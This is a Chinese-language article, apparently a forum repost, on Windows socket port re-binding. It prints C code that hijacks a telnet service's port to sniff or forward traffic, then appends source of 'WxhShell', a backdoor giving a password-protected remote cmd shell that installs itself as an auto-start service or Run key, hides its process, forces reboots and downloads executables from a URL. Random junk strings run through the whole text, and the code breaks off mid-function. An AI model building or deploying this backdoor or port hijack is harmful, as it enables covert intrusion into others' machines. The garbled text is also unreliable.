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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'K!kJ9oqe s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
96BMJE' pqe
tYu saddr.sin_family = AF_INET; 4M]8po/; )<|T Ep4r- saddr.sin_addr.s_addr = htonl(INADDR_ANY); Q&J,"Vxw ^/+sl-6/F bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); g[$B90 Cr`
0C 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 y{N9.H2 `4=b|N+b" 这意味着什么?意味着可以进行如下的攻击: $1v5*E ymzm x$o= 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 S;NXOsSu ![ QQF| 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =bDG|:+ "OPUGwf 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %L/=heBBd (pmo[2kg 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 cNVdGY%& "Wm~\)t( 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 DHAWUS6 ~JXHBX 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %Z7!9+< qkIU>b,B 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $o/>wgQY- o;[oy#aWl_ #include &0g,Xkr #include g|P hNo #include "jHN#} #include CytpL`&^] DWORD WINAPI ClientThread(LPVOID lpParam); pR"qPSv' int main() -db+Y:xUZ { z)%1 i WORD wVersionRequested; lK4+8VZ DWORD ret;
q0~_D8e, WSADATA wsaData; p{rS -`I BOOL val; xeI{i{8 SOCKADDR_IN saddr; "YL-!P SOCKADDR_IN scaddr; :3B\,inJ int err; $c}0L0 SOCKET s; }$-VI\96 SOCKET sc; MjpJAV/84 int caddsize; pd#/;LT HANDLE mt; b5DrwX{Ff DWORD tid; L,6Y=? wVersionRequested = MAKEWORD( 2, 2 ); HhL%iy1 err = WSAStartup( wVersionRequested, &wsaData ); 0U>Q<I} if ( err != 0 ) { V%ch' printf("error!WSAStartup failed!\n"); =lwS\mNs return -1; K +~v<F } k3 l saddr.sin_family = AF_INET; f[IchCwX sD8S2 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 guv@t&;t0 0R&
U18)y saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Z=0W@_s saddr.sin_port = htons(23); =FmU]DV if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x/=j$oA { j;)6uia*A printf("error!socket failed!\n"); qedGBl& return -1; MbfzGYA2~ } eEQ[^i val = TRUE; "|%9xGX|D //SO_REUSEADDR选项就是可以实现端口重绑定的 yjd'{B9{ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `dP+5u! { *K|aK p} printf("error!setsockopt failed!\n"); D.(G 9H return -1; Rs`a@Fn } &>e DCs //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; iI*7WO[W //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8(>.^667 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 c~xo@[NaS !9,
pX if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $VWzv4^: { 0>iFXw:fn ret=GetLastError(); 3J
T3;O printf("error!bind failed!\n"); `l2q G# return -1; n5.>;N.* } PQ}%}S7: listen(s,2); |lxy< C4V while(1) |a{]P=<q { `fZD%o3l caddsize = sizeof(scaddr); 2HXKz7da //接受连接请求 \'Ta8 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); aLi_Hrb9 if(sc!=INVALID_SOCKET) <im<(=m9 { vLuQe0l{ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;YDF*~9u if(mt==NULL) hyiMOa { pm]DxJ@ printf("Thread Creat Failed!\n"); 6;cY!
break; D a[C'm= } N@6OQ:,[F } Z=@) CloseHandle(mt); 6
]Oxx{|} } d&uTiH? 0 closesocket(s); m> (h_j WSACleanup(); ).C! return 0; {X<4wxeTo } xn@0pL3B~ DWORD WINAPI ClientThread(LPVOID lpParam) Cc)P5\jh { *O>aqu SOCKET ss = (SOCKET)lpParam; UglG!1L SOCKET sc; A&c@8 unsigned char buf[4096]; ]^9*
t,{9 SOCKADDR_IN saddr; y?n2`l7f long num; =`~Z@IbdI DWORD val; eJw=" DWORD ret; Eqbe$o`dd //如果是隐藏端口应用的话,可以在此处加一些判断 ShJK&70O //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 cEc,eq| saddr.sin_family = AF_INET; F,M"/hnPT saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); P4j 8`}&/ saddr.sin_port = htons(23); W[E3P,XS if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xwnoZ&h { K3:|Tc( printf("error!socket failed!\n"); T_?nd T2 return -1; QZ3(u<f } HDVl5X`j' val = 100; fu<2t$Cn> if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `E5"Pmg { rA1r#ksQ ret = GetLastError(); u=;nU(]M ' return -1; !?o$-+a| } ^YR|WK Y if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) oD#>8Aw s { kq~[k. ret = GetLastError(); rEyz|k: return -1; ,LW+7yD } c5E#QV0&v~ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) E0eQ9BXh { ]1d,O^S printf("error!socket connect failed!\n"); ^8NLe9~p3? closesocket(sc); z5`8G =A closesocket(ss); EeJqszmH return -1; j;20JA/b } 0[:9 Hb6 while(1) Ae j { K-
I\P6R` //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 D!}K)T1~R //如果是嗅探内容的话,可以再此处进行内容分析和记录 /.)[9bQ< //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -~\.n num = recv(ss,buf,4096,0); 6f?BltFaN if(num>0) 7q!yCU send(sc,buf,num,0); tB7K&ssi else if(num==0) Mf:M3H%YV+ break; BKQIo)g.G num = recv(sc,buf,4096,0); *)bd1B# if(num>0) j\'+wVyo send(ss,buf,num,0); |Vwc/9`t]> else if(num==0) g TXW2S break; +K;Y+
K&;2 } X#DL/#z k closesocket(ss); ')5L_$ closesocket(sc); J4G> E.8 return 0 ; px_s@>l` } ~J1;tZS Kr/h`RM LMFK3Gd[ ========================================================== H5Ux.]y .vN%UNu 下边附上一个代码,,WXhSHELL 2K]IlsMO& Y:%m;b$] ========================================================== (@ fa~?v>@ @1v3-n= #include "stdafx.h" kz0I2!bt i)7n c #include <stdio.h> ]Y4q'KH #include <string.h> >X[|c"l. #include <windows.h> =!(*5\IM #include <winsock2.h> X_u@D;$ #include <winsvc.h> ;h9-}F #include <urlmon.h> r+{d!CHq} 4L=$K2R2r #pragma comment (lib, "Ws2_32.lib") SbS$(Gt#Bv #pragma comment (lib, "urlmon.lib") u3Usq=Ij{ +_
*eu #define MAX_USER 100 // 最大客户端连接数 x*me'?q #define BUF_SOCK 200 // sock buffer dUoWo3r= #define KEY_BUFF 255 // 输入 buffer E+}GxFG-: %'L].+$t #define REBOOT 0 // 重启 C5es2!^-]O #define SHUTDOWN 1 // 关机 "H>r-cyh jq57C}X}2 #define DEF_PORT 5000 // 监听端口 E3S%s |5=~(-I>@ #define REG_LEN 16 // 注册表键长度 =`qRu #define SVC_LEN 80 // NT服务名长度 7~wFU*P1 -ca7x`yo // 从dll定义API .[T'yc:= typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /!=U+X typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *wC\w typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7
9Qc`3a typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2J;kD2"! D:wnO|: // wxhshell配置信息 onnI ! struct WSCFG { t_jyyHxoZ: int ws_port; // 监听端口 &
u$(NbK char ws_passstr[REG_LEN]; // 口令 vG ]GQ# int ws_autoins; // 安装标记, 1=yes 0=no 6FL?4>MZ
char ws_regname[REG_LEN]; // 注册表键名 _urG_~q char ws_svcname[REG_LEN]; // 服务名 J| SwQE~ char ws_svcdisp[SVC_LEN]; // 服务显示名 6OL41g' char ws_svcdesc[SVC_LEN]; // 服务描述信息 lSH ZV
Fd char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (U|)xA]y! int ws_downexe; // 下载执行标记, 1=yes 0=no XC|*A$x, char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" )v%l0_z{ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z,pNb%*O 6xH;:B)d }; X=v~^8M7% &Nc[$H7< // default Wxhshell configuration )@}A
r struct WSCFG wscfg={DEF_PORT, X*pZNz&E "xuhuanlingzhe", T/[f5?p 1, C,o: "Wxhshell", VmN}FMGN "Wxhshell", DH5bpg&T "WxhShell Service", HSNOL "Wrsky Windows CmdShell Service", m6b$Xyq[ "Please Input Your Password: ", Ri|k<io 1, M_k`%o " http://www.wrsky.com/wxhshell.exe", tY/En-&t "Wxhshell.exe" i<%m Iq1L }; C<_Urnmn /"=29sWB // 消息定义模块 Bk,2WtVX char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r"R(}`<, char *msg_ws_prompt="\n\r? for help\n\r#>"; ]>5T}h char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 9%sFJ char *msg_ws_ext="\n\rExit."; vR7ct av char *msg_ws_end="\n\rQuit."; xEjx]w/& char *msg_ws_boot="\n\rReboot..."; ]?[zx'| char *msg_ws_poff="\n\rShutdown..."; 2(pLxVl char *msg_ws_down="\n\rSave to "; ^^%JoQ. /K7Bae5h char *msg_ws_err="\n\rErr!"; v@VLVf)>9^ char *msg_ws_ok="\n\rOK!"; HLVQ7 jDR')ascn char ExeFile[MAX_PATH]; FJ{=2]x| int nUser = 0;
6DB0ni HANDLE handles[MAX_USER]; d$w(-tV42 int OsIsNt; C
8N%X2R C1b*v&1{ SERVICE_STATUS serviceStatus; _ w/_(k SERVICE_STATUS_HANDLE hServiceStatusHandle; ;_}~%-_
~ ~p:?QB>1]
// 函数声明 6
jmrD int Install(void); yq?]V7~ int Uninstall(void); eNtf#Rqym int DownloadFile(char *sURL, SOCKET wsh); FC{})|yh
} int Boot(int flag); a0PE^U void HideProc(void); t<Ot|Ex int GetOsVer(void); xk& NAB int Wxhshell(SOCKET wsl); )i;un. void TalkWithClient(void *cs); _6ZzuVv3/ int CmdShell(SOCKET sock); +p9-
.YM int StartFromService(void); .46#`4av int StartWxhshell(LPSTR lpCmdLine); vv+km + 7'z(~3D VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P>(&glr| VOID WINAPI NTServiceHandler( DWORD fdwControl ); _BbvhWN&+ Xh?4mKgu // 数据结构和表定义 P$_&
SERVICE_TABLE_ENTRY DispatchTable[] = K4:
$= { +~N!9eMc {wscfg.ws_svcname, NTServiceMain}, e!GZSk
{NULL, NULL} YxXqI }; Goxl3LS< HmMO*k<6@ // 自我安装 ! D$Ooamq int Install(void) 1RLym9JN { `{[RjM` char svExeFile[MAX_PATH]; UbO4%YHt HKEY key; *7ZtNo[+ strcpy(svExeFile,ExeFile); sf$o(^P9\A \8{\;L C // 如果是win9x系统,修改注册表设为自启动 1c$vLo832 if(!OsIsNt) { Us]=Y}( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YlTaN,?j RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c;9.KCpwx RegCloseKey(key); ,[* ;UR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *$S#o#5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,!Q]q^{C:W RegCloseKey(key); d`mD!)j return 0; )hBE11,PB } cLG6(<L } c+g@Z"es } `PgdJrE else { k[%aCGo Q,gLi\siI // 如果是NT以上系统,安装为系统服务 4jX3lq| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LBat:7aH> if (schSCManager!=0) 7CGyC[[T~ { /`3#4=5- SC_HANDLE schService = CreateService FQk!d$BG ( ?{6s58Q{ schSCManager, kJT+ wscfg.ws_svcname, i7 w(S3a wscfg.ws_svcdisp, Qs%B'9") SERVICE_ALL_ACCESS, B2Z_]q$n* SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rOcg+5 SERVICE_AUTO_START, MLr-,
"gs SERVICE_ERROR_NORMAL, ,$N#Us(Wa svExeFile, nls NULL, -_em%o3XC NULL, dEp7{jY1O NULL, pvF-Y9Xb NULL, vcv CD7MD NULL VL\t>n ); q9]IIv if (schService!=0) Ji?#.r`"n { wMWW=$h#\ CloseServiceHandle(schService); UG](go't CloseServiceHandle(schSCManager); u -3:k strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [%pRfjM strcat(svExeFile,wscfg.ws_svcname); g<wRN#B if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n<7u>;SJQ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \~~ }N4 RegCloseKey(key); sI LSey5` return 0; ]{GDS! ) } ,[e\cnq[ } 4CrLkr CloseServiceHandle(schSCManager); p*20-!{A } !q'
4D!I } <%P2qgz5 D+RiM~LH8 return 1; y(iY } h&;t.Gdf }Wh6zT) // 自我卸载 S6g<M5^R int Uninstall(void) }ptq
)p { b~w=v_[(I HKEY key; t e,[f }D;WN@], if(!OsIsNt) { (V?: ] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z~{&}Em ~ RegDeleteValue(key,wscfg.ws_regname); =Vw
5q},3 RegCloseKey(key); 69G`2_eKCp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oD.r`]k RegDeleteValue(key,wscfg.ws_regname); `$TRleSi RegCloseKey(key); CU)|-*uiK return 0; 3\:y8| } 'hqBo| } ,xfO;yd } B*3Y!! else { gckI.[!b IzLQhDJ1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X3%Ic`Lq# if (schSCManager!=0) qfoD { {d<;BLA SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F?-R$<Cn2~ if (schService!=0) n, i'Dhzk { N?P%-/7 if(DeleteService(schService)!=0) { /i]y$^ CloseServiceHandle(schService); ,9D+brm CloseServiceHandle(schSCManager); _O"mfXl6 return 0; x@Hd^xH` } .2)
=vf'd CloseServiceHandle(schService); yR;{ } Y>+y(ck CloseServiceHandle(schSCManager); N!2Rl } U#&7p)4( } cV{o?3<:B F4L;BjnJ return 1; \Ae9\Jp8M } YXo|~p;=Y :'iYxhM.V // 从指定url下载文件 E&$yuW^z int DownloadFile(char *sURL, SOCKET wsh) NMOut@ { jPZaD>! HRESULT hr; 67SV~L#%O char seps[]= "/"; n\z,/'d" char *token; Z|"p*5O, char *file; j _L@U2i char myURL[MAX_PATH]; wV\gj~U;P char myFILE[MAX_PATH]; T"7~AbgNU $(e#aHB strcpy(myURL,sURL); X;v$5UKU token=strtok(myURL,seps); '6y}ZE[ while(token!=NULL) MY#
{ G uQ=gN file=token; UFAL1c<V token=strtok(NULL,seps); Xce0~\_A } >K9#3
4hP 4;`oUt'. GetCurrentDirectory(MAX_PATH,myFILE); _j?e~w&0b strcat(myFILE, "\\"); _WX tB# strcat(myFILE, file); l>*"mh send(wsh,myFILE,strlen(myFILE),0); jO*l3:!~ \ send(wsh,"...",3,0); UhA"nt0 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @c9^q>Uv if(hr==S_OK) R218(8S return 0; k@ZLg9 else xj5;: g#! return 1; YW u cvw& 4lhw3,5 } @Z>ZiU,^ I$N8tn+E // 系统电源模块 t58e(dgi int Boot(int flag) )9l^O
{ !l]dR@e HANDLE hToken; Wjhvxk TOKEN_PRIVILEGES tkp; WOuEW w= AdRX`[ik if(OsIsNt) { <\kr1qHH OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iu&wO<)+? LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AKMm&(fh% tkp.PrivilegeCount = 1; ^P151*=D tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nWQ;9_qBB AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;qH O OT if(flag==REBOOT) { `W/sP\3 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #Zrlp.M4 return 0; =] *.ZH#h } mU}F!J#6 else { pvmC$n^zc if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F1L:,.e` return 0; a:QDBS2Llv }
Uf}\p~; } M%jPH else { Y"A/^] if(flag==REBOOT) { UfS%71l.$ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p+)Y Tzzc return 0; 3U_2! zF3_ } V< k8N^ else { C8z{XSo if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) da)NK! return 0; -B86U6^s } @v}/zS } V5*OA??k< \=_{na_ return 1; Y ')x/H } 6k#Jpmmr !%$`Eq)M^7 // win9x进程隐藏模块 qucq,Yw void HideProc(void) L:@7tc. { +\v?d&.f0 +TXX$)3% HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q-1vw6d if ( hKernel != NULL ) r Tz$^a}/ { OpHsob~ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C*P7-oE2rh ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B(M6@1m_ FreeLibrary(hKernel); ..rOsg{ }
"~'b g) -bW+]q return; _3ZYtmn. } Z?\>JM >; B
~OZ2-~ // 获取操作系统版本 720D V+o int GetOsVer(void) R?]02Q { `]%|f OSVERSIONINFO winfo; i>(e}<i winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wiiCd GetVersionEx(&winfo); r?/'!!4 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F i0GknQ+ return 1; S\;V4@<Kn else 1YH+d0UGn return 0; &Y }N|q- } irfp!(r 6fw(T.Pe // 客户端句柄模块 DY`kx2e! int Wxhshell(SOCKET wsl) ;3@cy|\: { [sW3l:^ SOCKET wsh; |j7,Mu+ struct sockaddr_in client; /FRm2m83 DWORD myID; OLE[UXD-E k?,1x~ while(nUser<MAX_USER) ^0 -:G6H { :5{wf Am int nSize=sizeof(client); <[-nF"Q wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pS:4CNI{ if(wsh==INVALID_SOCKET) return 1; o,)?!{k} <*qnY7c&N; handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #?S^kM-0 if(handles[nUser]==0) 6ZP"p<xX closesocket(wsh); Q637N|01 else ynQ: >tw nUser++; 7Ve1]) u } x U4 +|d WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #~
)IJ H5Io{B%= return 0; rogT~G}q } y]f"@9G# 6}FP // 关闭 socket rp;b" q void CloseIt(SOCKET wsh) V)[@98T_4? { 6|PrX
L& closesocket(wsh); eLfk\kk]Pc nUser--; XMxSQ B1 ExitThread(0); H<PtAYFS } tg<EY!WY vbyH<LPz5 // 客户端请求句柄 lIW
}EM void TalkWithClient(void *cs) bAx-"Lu { SMpH._VFeE zo4qG+>o SOCKET wsh=(SOCKET)cs; Y!nJg1 char pwd[SVC_LEN]; 3`t%g[D1 char cmd[KEY_BUFF]; d^{RQ char chr[1]; |Uc_G13Y{D int i,j; (pv+c, 6G[4rD& while (nUser < MAX_USER) { *GL/aEI<$ ~T1XLu if(wscfg.ws_passstr) { M`,)w i if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OCBgR4I //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JzQ )jdvp //ZeroMemory(pwd,KEY_BUFF); +%ee8|\ i=0; |#]@Z)xa while(i<SVC_LEN) { X:vghOt? w5Y04J // 设置超时 7/I, HxXp! fd_set FdRead; nU7>uU struct timeval TimeOut; v>Q#B FD_ZERO(&FdRead); \1D<!k\S FD_SET(wsh,&FdRead); RO 4Z?tz TimeOut.tv_sec=8; e4?>- TimeOut.tv_usec=0; RBs-_o+ % int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2N: ,Q8~ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [YlKR'_ Cv6'`",Yzm if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _V7s#_p pwd =chr[0]; x!5'`A!W% if(chr[0]==0xd || chr[0]==0xa) { Vl&?U pwd=0; ,-8"R`UI8 break; DtXrWS/ } VY
| _dk i++; t*Sa@$p } I ?gSG*m (nf~x // 如果是非法用户,关闭 socket TO]@
Zu1 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pNepC<rY } xhVO3LW' jB%lB1Q| send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n<O}hM ZT send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ILEz;D{] TaKLzd2 while(1) { PgtJ3oq[} 6dabU* ZeroMemory(cmd,KEY_BUFF); J8uLJ v+46QK|I& // 自动支持客户端 telnet标准 /:~\5}tW j=0; 6e9,PS while(j<KEY_BUFF) { +6HVhoxU# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lr>oYS0 cmd[j]=chr[0]; 5m\<U` if(chr[0]==0xa || chr[0]==0xd) { 8']M^|1 cmd[j]=0; e7Xeo +/ break; 6#7Lm) g8 } m$}R% j++; KL1/^1 } \^L`7cBL 8 OY 3A // 下载文件 BTGvN% if(strstr(cmd,"http://")) { RYQ<Zr$! send(wsh,msg_ws_down,strlen(msg_ws_down),0); #@YPic"n7` if(DownloadFile(cmd,wsh)) b=yx7v"r send(wsh,msg_ws_err,strlen(msg_ws_err),0); A9I{2qW9+Z else #5cEV'm; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,k )w6) } U}yW<#$+ else { T!+5[ QM5R`i{r switch(cmd[0]) { ;RDh~EV y"bByd|6 // 帮助 n0r+A^] case '?': { [Dk=? + send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KHe=O1 %QO break; *X'Y$x>f } ^t` k0< // 安装 -lbm*
-( case 'i': { XG{{ 2f if(Install()) $$|rr G send(wsh,msg_ws_err,strlen(msg_ws_err),0); F,W~,y else "-e
\p lKj send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G18F&c~ break; sqEI4~514 } R "n5 // 卸载 [~-9i&Z case 'r': { q)LMm7 if(Uninstall()) :o0JY= 5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;&<{ey else "+kL)] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fkuLj%R break; ii[F]sR\ } qkt0**\ // 显示 wxhshell 所在路径 =
s>T;| case 'p': { Vq2y4D? char svExeFile[MAX_PATH]; HG^B#yX strcpy(svExeFile,"\n\r"); .{ocV#{s strcat(svExeFile,ExeFile); jF ^~p9z send(wsh,svExeFile,strlen(svExeFile),0); msP{l^%0 break; rID#`:Hl-| } EN$2,qf // 重启 K-bD<X case 'b': { *W.C7= send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <;vbsksZeH if(Boot(REBOOT)) f,h J~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); h].<t& else { "$#xK |t closesocket(wsh); ;YA(|h< ExitThread(0); |SoCRjuCPM } }YB*]<] break; :o|\"3 } \w/yF4,3<w // 关机 `IP/d case 'd': { w`4=_J=GO send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7E!IF>` if(Boot(SHUTDOWN)) >6NRi /[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); $G8E 3|k else { S{]x closesocket(wsh); SX<` {x&L ExitThread(0); iP
=V8g?L } d74d/l1*{ break; 2)G
%)' } -e_hrCW&9 // 获取shell 3kw,(-'1 case 's': { f[@77m* CmdShell(wsh); XG}C+;4Aw closesocket(wsh);
z_F-T=_ ExitThread(0); kDEPs$^ break; :}5j##N } 6N!Q:x^4(T // 退出 't1ax^-g case 'x': { bSiYHRH.e send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l n{e1':$" CloseIt(wsh); 8K.R= break; aoTM } dYT% // 离开 iIMd!Q.)@ case 'q': { k3u"A_"c send(wsh,msg_ws_end,strlen(msg_ws_end),0); G0/4JSH closesocket(wsh); T ?$:'XJ WSACleanup(); 5]NqRI^0 exit(1); {9?Jj A break; uD}2<$PP } fmQ_P.c } BcL{se9< } ~<O7$~ Jy)KqdkX+ // 提示信息 D ~stM if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `7[EKOJ3g } 5"CZh.J } igIRSN}h 3N dq> return; D>HOn^ } y+X2Pl M.x=<:upp // shell模块句柄 gnFr}L&j int CmdShell(SOCKET sock) C9~52+S { YUx.BZf7 STARTUPINFO si; 419x+3>} ZeroMemory(&si,sizeof(si)); Xnz3p" si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6hlc1? si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "Om=N@? PROCESS_INFORMATION ProcessInfo; ySx>LuY#3 char cmdline[]="cmd"; 8VeQ-#7M/ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); isQ[ Gc!8 return 0; !B\R''J5 } ,VCyG:dw brW :C?} // 自身启动模式 3?c3<`TW int StartFromService(void) 5k`l$mW{ { %6t2ohO" typedef struct \P j { !zkZQ2{Wn DWORD ExitStatus; G!"YpYml DWORD PebBaseAddress; d*jMZ%@uS DWORD AffinityMask; wj,:"ESb4 DWORD BasePriority; @CTgT-0! ULONG UniqueProcessId; Yn@lr6s ULONG InheritedFromUniqueProcessId; :K-~fA%kt? } PROCESS_BASIC_INFORMATION; Q?nN!eT W yB3ls~ PROCNTQSIP NtQueryInformationProcess; qu-B|
